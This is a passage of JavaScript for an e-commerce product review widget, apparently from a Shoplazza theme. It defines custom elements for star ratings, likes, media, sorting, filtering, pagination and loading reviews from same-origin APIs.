this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SPZCustomRevueRender) const TAG = 'spz-custom-revue-star'; class SPZCustomRevueStar extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.starNum = this.element.getAttribute('starNum'); this.starTotal = this.element.getAttribute('starTotal'); this.showStarText = this.element.getAttribute('showStarText'); this.starColor = this.element.getAttribute('color'); this.interact = this.element.getAttribute('interact'); this.starSize = this.element.getAttribute('starSize') || 14; } mountCallback = () => { this.doRender_({ starTotal: this.starTotal, totalArray: Array.from({ length: Number(this.starTotal) }, (v, k) => k + 1), starNum: this.starNum, showStarText: this.showStarText, starColor: this.starColor, starSize: this.starSize }).then(() => { if (this.interact) { this.addEventListeners_(); } }); } addEventListeners_ = () => { const stars = document.querySelectorAll('.revue-star__star'); stars.forEach(star => { star.addEventListener('click', event => { const starEl = star.closest('.revue-star__star'); const starIndex = Number(starEl.dataset.index); let isHalf = event.offsetX < star.offsetWidth / 2; // rtl if (document.documentElement.getAttribute('dir') === 'rtl') { isHalf = event.offsetX > star.offsetWidth / 2; } const starValue = isHalf ? starIndex - 0.5 : starIndex; this.starClickHandler_({ value: starValue }); }); }); } renderStar = () => { const isRtl = document.documentElement.getAttribute('dir') === 'rtl'; const stars = this.element.querySelectorAll('.revue-star__star'); stars.forEach((star, i) => { const starIndex = i + 1; const starEl = star.querySelector('svg:nth-child(2)'); const isHalf = this.starNum % 1 > 0 && Math.ceil(this.starNum) === starIndex; const isSolid = starIndex <= Math.ceil(this.starNum); starEl.style.display = isSolid ? 'block' : 'none'; if (isHalf) { if (isRtl) { // RTL布局下,如果是半星,显示星星的右半边 starEl.style.clipPath = `polygon(50% 0, 100% 0, 100% 100%, 50% 100%)`; } else { // LTR布局下,如果是半星,显示星星的左半边 starEl.style.clipPath = `polygon(0 0, 50% 0, 50% 100%, 0 100%)`; } } else { starEl.style.clipPath = `polygon(0 0, 100% 0, 100% 100%, 0 100%)` } }); const showCountEle = this.element.querySelector('#revue-star-show-count'); showCountEle && SPZ.whenApiDefined(showCountEle).then((api) => { api.render({ starNum: this.starNum, starTotal: this.starTotal }); }); } doRender_ = (data) => { return this.templates_ .findAndRenderTemplate(this.element, { starSize: this.starSize, ...data }, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }) .then(() => { this.starNum = data.starNum; this.renderStar(); }); } starClickHandler_ = (event) => { this.starNum = event.value; this.renderStar(); this.triggerEvent_('change', { value: event.value }); } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SPZCustomRevueStar) const TAG = 'spz-custom-revue-progress'; class SPZCustomRevueProgress extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.isPC = window.innerWidth > (window.breakpoint || 960); this.height = '6px'; this.color = this.element.getAttribute('color') || '#000000'; this.show_percentage = 'false'; this.show_percentage_num = 100; this.count = this.element.getAttribute('count'); this.total = this.element.getAttribute('total'); } mountCallback = () => { this.doRender_({ count: Number(this.count), total: Number(this.total), height: this.height, color: this.color, show_percentage: this.show_percentage, show_percentage_num: this.show_percentage_num }).then(() => { }); } doRender_ = (data) => { return this.templates_ .findAndRenderTemplate(this.element, data, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }); } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SPZCustomRevueProgress) const TAG = 'spz-custom-revue-like'; class SPZCustomRevueLike extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.grayColor = this.element.getAttribute('gray_color') || "#BDBDBD"; this.likedColor = this.element.getAttribute('like_color') || "#FFCB44"; this.color = this.grayColor; this.count = this.element.getAttribute('count'); this.revueId = this.element.getAttribute('revue-id'); this.location = this.element.getAttribute('location'); } mountCallback = () => { const likes = sessionStorage.getItem('likes') ? JSON.parse(sessionStorage.getItem('likes')) : []; const like = likes.find(item => item.id === this.revueId); if (like) { this.color = like.like_status === 1 ? this.likedColor : this.grayColor; } // 如果location是modal,则找到相同revue-id的list的元素,拿到其count,存在list count变了,但是modal的count没变的情况 if (this.location === 'modal') { const listElement = document.querySelector(`spz-custom-revue-like[revue-id="${this.revueId}"] .revue-like-count`); if (listElement) { this.count = listElement.getAttribute('data-real-count'); } } this.doRender_({ color: this.color, count: this.count }).then(() => { this.addEventListeners_(); if(this.location === 'list') { // modal数量变更,list同步变更 document.addEventListener('like-clicked', (e) => { if (e.detail.location !== this.location && e.detail.id === this.revueId) { this.color = e.detail.like_status === 1 ? this.likedColor : this.grayColor; this.count = e.detail.count; this.element.querySelector('.revue-like__icon').querySelector('svg').setAttribute('fill', this.color); this.element.querySelector('.revue-like__icon').querySelector('svg').querySelector('path').setAttribute('fill', this.color); this.element.querySelector('.revue-like-count').innerText = this.count > 99 ? '99+' : this.count < 1 ? '' : this.count; this.element.querySelector('.revue-like-count').setAttribute('data-real-count', this.count); if(this.count > 0){ this.element.querySelector('.revue-like-count').classList.remove('hidden'); }else{ this.element.querySelector('.revue-like-count').classList.add('hidden'); } } }); } }); } addEventListeners_ = () => { const icon = this.element.querySelector('.revue-like__icon'); icon.addEventListener('click', (e) => { e.stopPropagation(); const likeStatus = this.color === this.likedColor ? 0 : 1; this.color = this.color === this.likedColor ? this.grayColor : this.likedColor; this.count = likeStatus === 1 ? parseInt(this.count) + 1 : parseInt(this.count) - 1; icon.querySelector('svg').setAttribute('fill', this.color); icon.querySelector('svg').querySelector('path').setAttribute('fill', this.color); this.element.querySelector('.revue-like-count').innerText = this.count > 99 ? '99+' : this.count < 1 ? '' : this.count; this.element.querySelector('.revue-like-count').setAttribute('data-real-count', this.count); if(this.count > 0){ this.element.querySelector('.revue-like-count').classList.remove('hidden'); }else{ this.element.querySelector('.revue-like-count').classList.add('hidden'); } this.postLike(likeStatus); if (this.location === 'modal') { const clickedEvent = new CustomEvent('like-clicked', { detail: { id: this.revueId, like_status: likeStatus, count: this.count, location: this.location } }); document.dispatchEvent(clickedEvent); } }); } setLikeToStorage = (likeToStore) => { if (typeof (Storage) !== 'function') return; const likesInStore = sessionStorage.getItem('likes') ? JSON.parse(sessionStorage.getItem('likes')) : []; const reviewIndex = likesInStore.findIndex(item => item.id === likeToStore.id); if (reviewIndex !== -1) { likesInStore[reviewIndex].like_status = likeToStore.like_status; likesInStore[reviewIndex].count = likeToStore.count; } else { likesInStore.push(likeToStore); } sessionStorage.setItem('likes', JSON.stringify(likesInStore)); } doRender_ = (data) => { return this.templates_ .findAndRenderTemplate(this.element, data, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }); } postLike = (likeStatus) => { fetch('/api/comment/like', { method: 'POST', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json' }, body: JSON.stringify({ id: this.revueId, status: likeStatus }) }).then((res) => { if (res.status === 200) { this.setLikeToStorage({ id: this.revueId, like_status: likeStatus, count: this.count }); } }); } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SPZCustomRevueLike) const TAG = 'spz-custom-revue-media'; class SPZCustomRevueMedia extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.imgCover = this.element.getAttribute('img-cover') ?? false; this.pc_layout = this.element.getAttribute('pc-layout') ?? ''; // data-images 格式为 xxxx.png?width=1&height=1,xxxx.png?width=1&height=1 const images = this.element.getAttribute('data-images').split(',') || []; const parsedImages = images.map(image => { return this.mediaParse_(image); }); this.images = parsedImages; this.isPC = window.innerWidth > 960; } mountCallback = () => { this.doRender_({ images: this.images, isPC: this.isPC, imgCover: this.imgCover, pc_layout: this.pc_layout }).then(() => { this.addEventListeners_(); }); } addEventListeners_ = () => { const images = this.element.querySelectorAll('.revue-image-item'); images.forEach((image, index) => { image.addEventListener('click', () => { const carousel = document.querySelector('#revue-image-carousel-render'); carousel && SPZ.whenApiDefined(carousel).then((api) => { const width = this.isPC ? 460 : window.innerWidth * 0.9; const height = this.isPC ? 630 : 500; api.render({ images: this.images, index: index, width: width, height: height }); }); }); }); } doRender_ = (data) => { return this.templates_ .findAndRenderTemplate(this.element, data, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }); } mediaParse_ = function (url) { var result = {}; try { url.replace(/[?&]+([^=&]+)=([^&]*)/gi, function (str, key, value) { try { result[key] = decodeURIComponent(value); } catch (e) { result[key] = value; } }); result.preview_image = url.split('?')[0]; } catch (e) {}; return result; } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SPZCustomRevueMedia) const TAG = 'spz-custom-revue-sort'; class SPZCustomRevueSort extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.isPC = window.innerWidth > 960; this.width = this.isPC ? `${this.element.getAttribute('width') || 150}px` : '100%'; this.randomStr = Math.random().toString(36).substr(2); this.sectionId = this.element.getAttribute('section-id') || '1745308283374'; this.prefix = this.element.getAttribute('prefix'); } mountCallback = () => { const data = { width: this.width, randomStr: this.randomStr }; this.doRender_(data).then(() => { let revueSortListRender = this.isPC ? this.element.querySelector(`#${this.prefix}-revue-sort-list-render-${this.sectionId}`) : this.element.querySelector(`#${this.prefix}-revue-sort-dropdown-render-${this.sectionId}`); revueSortListRender && SPZ.whenApiDefined(revueSortListRender).then((api) => { api.render(data).then(() => { if (this.isPC) { this.addEventListenersForPC_(); } else { this.addEventListenersForMobile_(); } }); }); }); } doRender_ = (data) => { return this.templates_ .findAndRenderTemplate(this.element, data, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }); } addEventListenersForPC_ = () => { const revueSelectList = this.element.querySelector('.revue_select_list'); const revueSelectItem = this.element.querySelectorAll('.revue_select_item'); const revueSelectSortIcon = this.element.querySelector(`#${this.prefix}-revue_select_sort_icon-${this.sectionId}`); revueSelectItem.forEach(item => { item.addEventListener('click', () => { const sort = item.getAttribute('data-sort'); const direction = item.getAttribute('data-direction'); this.triggerEvent_('sort', { sort, direction }); this.element.querySelector('.revue_select_label').innerText = item.innerText; revueSelectList.classList.remove('revue_select_list_active'); const revueChecked = this.element.querySelector(`#${this.prefix}-revue_checked`); revueChecked && SPZCore.Dom.removeElement(revueChecked); const revueCheckedClone = revueChecked.cloneNode(true); item.appendChild(revueCheckedClone); const pcDropdownEle = document.querySelector(`#${this.prefix}-revue-sort-pc-dropdown-${this.sectionId}`); if (!revueSelectSortIcon.classList.contains('up_icon')) { return; } revueSelectSortIcon.classList.remove('up_icon'); SPZ.whenApiDefined(pcDropdownEle).then((api) => { api.close(); }); }); }); window.addEventListener('scroll', (e) => { if (!revueSelectSortIcon || !revueSelectSortIcon.classList.contains('up_icon')) { return; } revueSelectSortIcon.classList.remove('up_icon'); SPZ.whenApiDefined(pcDropdownEle).then((api) => { api.close(); }); }); } addEventListenersForMobile_ = () => { const revueSortDropdownRender = document.querySelector(`#${this.prefix}-revue-sort-dropdown-render-${this.sectionId}`); revueSortDropdownRender && SPZ.whenApiDefined(revueSortDropdownRender).then(async (api) => { await api.render(); const revueSortDropdownItem = document.querySelectorAll(`#${this.prefix}-revue-sort-dropdown-${this.sectionId} .revue_sort_dropdown_item`); revueSortDropdownItem.forEach(item => { item.addEventListener('click', () => { const sort = item.getAttribute('data-sort'); const direction = item.getAttribute('data-direction'); revueSortDropdownItem.forEach((_item)=>{_item.classList.remove('selected')}) item.classList.add('selected'); // 抛出事件 this.triggerEvent_('sort', { sort, direction }); // 移除revue_checked元素,复制一个新的到当前选中的元素 const revueChecked = document.querySelector(`#${this.prefix}-revue-sort-dropdown-${this.sectionId} #${this.prefix}-revue_checked`); revueChecked && SPZCore.Dom.removeElement(revueChecked); const revueCheckedClone = revueChecked.cloneNode(true); item.appendChild(revueCheckedClone); const mDropdownEle = document.querySelector(`#${this.prefix}-revue-sort-dropdown-${this.sectionId}`); SPZ.whenApiDefined(mDropdownEle).then((api) => { api.close(); }); }); }); }) } } SPZ.defineElement(TAG, SPZCustomRevueSort) const TAG = 'spz-custom-revue-type'; class SPZCustomRevueType extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.isPC = window.innerWidth > 960; this.width = this.isPC ? `${this.element.getAttribute('width') || 150}px` : '100%'; this.randomStr = Math.random().toString(36).substr(2); this.sectionId = this.element.getAttribute('section-id') || '1745308283374'; this.prefix = this.element.getAttribute('prefix'); } mountCallback = () => { } render = (data) => { const renderData = { ...data, width: this.width, randomStr: this.randomStr }; return this.templates_ .findAndRenderTemplate(this.element, renderData, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }).then(() => { let revueTypeListRender = this.isPC ? this.element.querySelector(`#${this.prefix}-revue-type-list-render-${this.sectionId}`) : this.element.querySelector(`#${this.prefix}-revue-type-dropdown-render-${this.sectionId}`); revueTypeListRender && SPZ.whenApiDefined(revueTypeListRender).then((api) => { api.render(renderData).then(() => { if (this.isPC) { this.addEventListenersForPC_(); } else { this.addEventListenersForMobile_(); } }); }); }); } addEventListenersForPC_ = () => { const revueSelectList = this.element.querySelector('.revue_select_list'); const revueSelectItem = this.element.querySelectorAll('.revue_select_item'); const revueSelectTypeIcon = this.element.querySelector(`#${this.prefix}-revue_select_type_icon-${this.sectionId}`); revueSelectItem.forEach(item => { item.addEventListener('click', () => { const type = item.getAttribute('data-type'); const direction = item.getAttribute('data-direction'); this.triggerEvent_('type', { type, direction }); this.element.querySelector('.revue_select_label').innerText = item.innerText; revueSelectList.classList.remove('revue_select_list_active'); const revueChecked = this.element.querySelector(`#${this.prefix}-revue_checked`); revueChecked && SPZCore.Dom.removeElement(revueChecked); const revueCheckedClone = revueChecked.cloneNode(true); item.appendChild(revueCheckedClone); if (!revueSelectTypeIcon.classList.contains('up_icon')) { return; } const pcDropdownEle = this.element.querySelector(`#${this.prefix}-revue-type-pc-dropdown-${this.sectionId}`); revueSelectTypeIcon.classList.remove('up_icon'); SPZ.whenApiDefined(pcDropdownEle).then((api) => { api.close(); }); }); }); window.addEventListener('scroll', (e) => { if (!revueSelectTypeIcon.classList.contains('up_icon')) { return; } revueSelectTypeIcon.classList.remove('up_icon'); SPZ.whenApiDefined(pcDropdownEle).then((api) => { api.close(); }); }); } addEventListenersForMobile_ = () => { const revueTypeDropdownItem = this.element.querySelectorAll(`#${this.prefix}-revue-type-dropdown-${this.sectionId} .revue_type_dropdown_item`); revueTypeDropdownItem.forEach(item => { item.addEventListener('click', () => { const type = item.getAttribute('data-type'); const direction = item.getAttribute('data-direction'); revueTypeDropdownItem.forEach((_item)=>{_item.classList.remove('selected')}) item.classList.add('selected'); // 抛出事件 this.triggerEvent_('type', { type, direction }); // 移除revue_checked元素,复制一个新的到当前选中的元素 const revueChecked = this.element.querySelector(`#${this.prefix}-revue-type-dropdown-${this.sectionId} #${this.prefix}-revue_checked`); revueChecked && SPZCore.Dom.removeElement(revueChecked); const revueCheckedClone = revueChecked.cloneNode(true); item.appendChild(revueCheckedClone); const mDropdownEle = this.element.querySelector(`#${this.prefix}-revue-type-dropdown-${this.sectionId}`); SPZ.whenApiDefined(mDropdownEle).then((api) => { api.close(); }); }); }); } } SPZ.defineElement(TAG, SPZCustomRevueType) const TAG = 'spz-custom-revue-pagination'; class SPZCustomRevuePagination extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } buildCallback = () => { this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.isPC = window.innerWidth > (window.breakpoint || 960); this.numItems = this.numItems(); this.pageSize = this.pageSize(); } mountCallback = () => { this.doRender_({ numPages: this.numPages(), pageNum: this.currentPageNumber(), useCallback: true }).then(() => { }); } currentPageNumber() { let pageNum = this.element.getAttribute('page-num'); if (pageNum) return parseInt(pageNum); } numPages() { return Math.ceil(this.numItems / this.pageSize); } numItems() { return parseInt(this.element.getAttribute('num-items')); } pageSize() { return parseInt(this.element.getAttribute('page-size')) || 10; } doRender_ = (data) => { return this.templates_ .findAndRenderTemplate(this.element, data, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); }); } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } } SPZ.defineElement(TAG, SPZCustomRevuePagination) const TAG = 'spz-custom-revue-product'; class SpzCustomRevueProduct extends SPZ.BaseElement { constructor(element) { super(element); } static deferredMount() { return false; } triggerEvent_(name, data) { const event = SPZUtils.Event.create(this.win, `${ TAG }.${ name }`, data || {}); this.action_.trigger(this.element, name, event); } isLayoutSupported(layout) { return layout == SPZCore.Layout.CONTAINER; } buildCallback = () => { this.section_id = this.element.getAttribute('section-id'); this.action_ = SPZServices.actionServiceForDoc(this.element); this.templates_ = SPZServices.templatesForDoc(this.element); this.xhr_ = SPZServices.xhrFor(this.win); this.setupAction_(); const url = new URL(window.location.href); this.isPC = window.innerWidth > (window.breakpoint || 960); this.nodata = false; this.firstRender = true; this.commentConfig = {}; this.commentSummary = {}; this.commentList = {}; this.panelId = 'all'; this.sort = 'created_at'; this.direction = 'desc'; this.pageNum = 1; this.pageSize = +window.reviewProductSettings[this.section_id].page_limit; this.pc_layout = window.reviewProductSettings[this.section_id].pc_layout; this.star_least = +window.reviewProductSettings[this.section_id].star_least; this.only_media = window.reviewProductSettings[this.section_id].only_media; this.product_id = window.SHOPLAZZA.meta.page.resource_id; this.isProductPage = '1' == 1; this.isCollectionPage = '1' == 2; this.isCartPage = '1' == 13; this.review_insufficient = window.reviewProductSettings[this.section_id].review_insufficient; // 评论不足类型 this.mini_quantity = window.reviewProductSettings[this.section_id].mini_quantity; // 评论少于一定数量 this.actions = window.reviewProductSettings[this.section_id].actions; // 评论处理方式 this.only_media = window.reviewProductSettings[this.section_id].only_media; // 只显示有图片的评论 this.only_featured = window.reviewProductSettings[this.section_id].only_featured ?? false; // 只显示精选评论 this.display_product_link = window.reviewProductSettings[this.section_id].display_product_link ?? false; // 是否显示商品链接 this.m_loading_type = window.reviewProductSettings[this.section_id].m_loading_type; // 移动端加载方式 this.m_modal_page_limit = window.reviewProductSettings[this.section_id].m_modal_page_limit; // 移动端弹窗加载限制 this.hide_review_section = window.reviewProductSettings[this.section_id].hide_review_section; // 无数据是否隐藏评论组件 this.accent_color = window.reviewProductSettings[this.section_id].accent_color; // 主题色 } mountCallback = () => { this.templates_ .findAndRenderTemplate(this.element, { isPC: this.isPC }, null) .then((el) => { this.element.appendChild(el); this.renderPage(); }) } /* fetch api/comment-config */ fetchCommentConfig_ = async () => { const response = await fetch('/api/comment-config'); return response.json(); } /* api/comment/count-star?product_id=` + `${product.id}` + `&star_least=${block.settings.star_least}*/ fetchCommentSummary_ = async(data) => { const response = await fetch(`/api/v1/comments/summary`, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data) }); return response.json(); } /* api/comment/list?star_least=5&onlyimg=0&limit=10&offset=0&sort_by=created_at&product_id=6e9e3113-87fe-49ad-8764-a2333463adea&status=1&sort_direction=desc&show_reply=1 */ fetchCommentList_ = async(data) => { // const response = await fetch(`/api/comment/list?show_product=1&star_least=${data.star_least}&onlyimg=${data.onlyimg}&limit=${data.limit}&offset=${data.offset}&sort_by=${data.sort_by || 'created_at'}&product_id=${data.productId}&status=1&sort_direction=${data.sort_direction || 'desc'}&show_reply=${data.show_reply}`); const response = await fetch('/api/v1/comments', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data) }); return response.json(); } /* fetch api/comment/theme-config?theme_id= */ fetchThemeConfig_ = async(themeId) => { const response = await fetch(`/api/comment/theme-config?theme_id=${themeId}`); return response.json(); } getCommentConfig = () => { return this.fetchCommentConfig_() } getCommentSummary = (data = {}) => { const fetchData = { star_least: this.star_least, product_ids: this.isProductPage ? 'd11093c8-38b0-4127-ad99-bcbbeacf36db' : this.isCartPage ? '' : '', collection_id: this.isCollectionPage ? '' : '', filter_type: this.isProductPage ? 'product' : this.isCollectionPage ? 'collection' : 'store', fill_min_threshold: this.review_insufficient === 'less_than' ? this.mini_quantity : undefined, fill_strategy: this.actions === 'all_product' ? 'store' : '', only_media: this.only_media ? this.only_media : this.panelId !== 'all', only_featured: this.only_featured, ...data, } return this.fetchCommentSummary_(fetchData) } getCommentList = (data = {}) => { const fetchData = { show_product: true, filter_type: (this.isProductPage || this.isCartPage) ? 'product' : this.isCollectionPage ? 'collection' : 'store', star_least: this.star_least, show_reply: true, limit: this.pageSize, offset: (this.pageNum - 1) * this.pageSize, only_media: this.only_media ? this.only_media : this.panelId !== 'all', sort_by: this.sort, sort_direction: this.direction, product_ids: this.isProductPage ? 'd11093c8-38b0-4127-ad99-bcbbeacf36db' : this.isCartPage ? '' : '', collection_id: this.isCollectionPage ? '' : '', only_featured: this.only_featured, fill_strategy: this.actions === 'all_product' ? 'store' : '', fill_min_threshold: this.review_insufficient === 'less_than' ? this.mini_quantity : undefined, ...data, } return this.fetchCommentList_(fetchData) } getPageData = () => { return Promise.all([ this.getCommentConfig(), this.getCommentSummary(), this.getCommentList() ]) } renderPage = async () => { const [commentConfigRes, commentSummaryRes, commentListRes] = await this.getPageData(); let commentConfigData = commentConfigRes.data || {}; let commentSummaryData = commentSummaryRes.data || {}; let commentListData = commentListRes.data || []; this.commentConfig = commentConfigData; this.commentSummary = commentSummaryData; this.commentList = commentListData; this.accent_color = this.accent_color || this.commentConfig.star_color; // 评论不足逻辑:计算最小评论数量阈值 const lessThanCount = (this.actions === "hide" || this.actions === "empty") && this.review_insufficient === 'less_than' ? this.mini_quantity : 1; // 如果评论数量不足,处理空状态 if (commentListData.count < lessThanCount) { this.renderHideSkeleton(); if (this.hide_review_section || this.actions === "hide") { this.renderNoData(); } else if (this.actions === "empty") { // 商品详情页显示空评论状态,其他页面隐藏评论区域 if (this.isProductPage) { this.renderEmptyComment(); } else { this.renderNoData(); } } this.nodata = true; return; } window.addEventListener('resize', SPZCore.Types.throttle(window, this.onResize, 300)); this.renderPageData([this.commentConfig, this.commentSummary, this.commentList]); } onResize = () => { if(this.nodata) { return; } // 判断是否需要重新渲染 if((this.isPC && window.innerWidth > (window.breakpoint || 960)) || (!this.isPC && window.innerWidth < (window.breakpoint || 960))) { return; } this.isPC = window.innerWidth > (window.breakpoint || 960); this.panelId = 'all'; this.sort = 'created_at'; this.direction = 'desc'; this.pageNum = 1; this.templates_ .findAndRenderTemplate(this.element, { isPC: this.isPC }, null) .then((el) => { const children = this.element.querySelector('*:not(template)'); children && SPZCore.Dom.removeElement(children); this.element.appendChild(el); this.renderPageData([this.commentConfig, this.commentSummary, this.commentList]); }) } renderPageData = (data) => { const [commentConfigData, commentSummaryData, commentListData] = data; // 渲染头部 this.renderHeader_({ starData: commentSummaryData, listData: commentListData, comment_avg_star: commentSummaryData.comment_avg_star, comment_count: commentSummaryData.comment_count, }); // 有评论逻辑 this.renderStarCounts(commentSummaryData); if(this.isPC && this.pc_layout === 'single_column') { this.renderCommentTab({ listData: commentListData, isPC: this.isPC, }, `revue-tab-${this.section_id}`); } else { this.renderList_({ listData: commentListData, config: this.commentConfig, shop_name: window.SHOPLAZZA.shop.shop_name, isPC: this.isPC, star_color: this.accent_color, }); } } renderNoData = () => { const sectionEle = document.querySelector(`#revue-product-compo`); if (sectionEle) { sectionEle.setAttribute('hidden', 'true'); } if(window.top === window.self) { // c端不渲染 return; } // b端渲染 const noDataPlaceholder = document.querySelector(`#revue_no_data_placeholder_${this.section_id}`); if(noDataPlaceholder) { SPZ.whenApiDefined(noDataPlaceholder).then(async (api) => { await api.render(); }); } } renderHideSkeleton = () => { const skeletonEle = document.querySelector('#revue_skeleton'); if (skeletonEle) { skeletonEle.classList.add('hidden'); } } renderEmptyComment = () => { const emptyEle = document.querySelector(`#revue-empty-1745308283374`); if(emptyEle) { emptyEle.classList.remove('hidden'); } } renderHeader_ = (data) => { const headerEle = document.querySelector(`#app-review-revue-header-${this.section_id}`); if (headerEle) { SPZ.whenApiDefined(headerEle).then(async (api) => { api.render({ ...data, star_color: this.accent_color, isPC: this.isPC, }); }); } } renderStarCounts = (data, eleId = `revue-summary-${this.section_id}`) => { const ndata = { ...this.commentSummary, star_color: this.accent_color, isPC: this.isPC, ...data, } const summaryEle = document.querySelector(`#${eleId}`); if (summaryEle) { SPZ.whenApiDefined(summaryEle).then((api) => { api.render({ ...ndata, }); }); } } /* 渲染单列布局 (有 tab 和 list) */ renderCommentTab = (data, eleId) => { const elementId = eleId || `revue-tab-${this.section_id}`; const ndata = { listData: this.commentList, isPC: this.isPC, ...data } const tabEle = document.querySelector(`#${elementId}`); let listId; if (tabEle) { SPZ.whenApiDefined(tabEle).then(async (api) => { await api.render({ ...ndata, // suffix: "list", }); if(eleId) { listId = `revue-comment-list-${this.section_id}_tab`; } this.renderList_({ ...ndata, // suffix: "list", }, listId); }); } } /* 只渲染 list */ renderList_ = (data, eleId) => { const listEle = document.querySelector(`#revue-comment-list`); if (listEle && !eleId) { SPZ.whenApiDefined(listEle).then(async (api) => { await api.render({ ...data, // suffix: "list", pageSize: this.pageSize, hasmore: data.listData.has_more, }) let nlist = data.listData.list.map(item => { return { ...item, config: this.commentConfig, star_color: this.accent_color, shop_name: window.SHOPLAZZA.shop.shop_name, current_panel: this.panelId, pageNum: this.pageNum, suffix: data.suffix, show_link: this.display_product_link, } }) let hasmore = data.listData.has_more; if(!this.isPC && this.m_loading_type === 'modal') { nlist = nlist.slice(0, this.m_modal_page_limit); hasmore = true; } api.renderList({ ...data, list: nlist, count: this.panelId === 'all' ? data.listData.count : data.listData.image_count, // suffix: "list", hasmore: hasmore, pageSize: this.pageSize }) }) return; } const viewallListEle = document.querySelector(`#${eleId}`); if (viewallListEle) { SPZ.whenApiDefined(viewallListEle).then(async (api) => { await api.render({ ...data, pageSize: this.pageSize, hasmore: data.listData.has_more, }); let nlist = data.listData.list.map(item => { return { ...item, config: this.commentConfig, star_color: this.accent_color, shop_name: window.SHOPLAZZA.shop.shop_name, current_panel: this.panelId, pageNum: this.pageNum, suffix: data.suffix, show_link: this.display_product_link, } }) api.renderList({ ...data, list: nlist, count: this.panelId === 'all' ? data.listData.count : data.listData.image_count, hasmore: data.listData.has_more, pageSize: this.pageSize, }) }); } } renderCommentList = (data, eleId = 'revue-comment-list', renderType = 'list', redo = false) => { const listEle = document.querySelector(`#${eleId}`); if (listEle) { SPZ.whenApiDefined(listEle).then((api) => { let nlist = data.listData.list.map(item => { return { ...item, config: this.commentConfig, star_color: this.accent_color, shop_name: window.SHOPLAZZA.shop.shop_name, current_panel: this.panelId, pageNum: this.pageNum, hasmore: data.listData.has_more, show_link: this.display_product_link, // suffix: data.suffix, } }) if(!this.isPC && this.m_loading_type === 'modal' && renderType === 'list') { nlist = nlist.slice(0, this.m_modal_page_limit); } api.renderList({ count: this.panelId === 'all' ? data.listData.count : data.listData.image_count, list: nlist, // suffix: "list", hasmore: data.listData.has_more, pageSize: this.pageSize }, redo); }); return; } } renderByScrollPagination = async (eleId, renderType) => { this.pageNum = this.pageNum + 1; const params = {} const res = await this.getCommentList(params); this.renderCommentList({ listData: res.data, }, eleId, renderType, false); } setupAction_ = () => { this.registerAction('renderTabChangeList', async (invocation) => { // 兼容 ljs-tab 